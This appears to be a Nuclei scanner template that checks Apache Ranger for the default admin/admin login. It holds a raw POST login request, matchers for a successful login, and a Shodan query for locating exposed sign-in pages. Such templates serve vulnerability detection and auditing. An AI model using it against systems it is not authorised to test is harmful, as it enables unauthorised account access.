id: ranger-default-login

info:
  name: Apache Ranger - Default Login
  author: For3stCo1d
  severity: high
  description: Apache Ranger contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/apache/ranger
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:apache:ranger:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.title:"Ranger - Sign In"
    product: ranger
    vendor: apache
  tags: apache,ranger,default-login,vuln

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{user}}&password={{pass}}

    attack: pitchfork
    payloads:
      user:
        - admin
      pass:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"statusCode":200'
          - '"msgDesc":"Login Successful"'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402207235970850242f29dcfad5f7d3972673cd838f47456e57dfd65958aabe908d4e022004223d4a5f05154c45d46901eaab6a6c198d11b80f15e09307d22b55c5ce984d:922c64590222798bb761d5b6d8e72950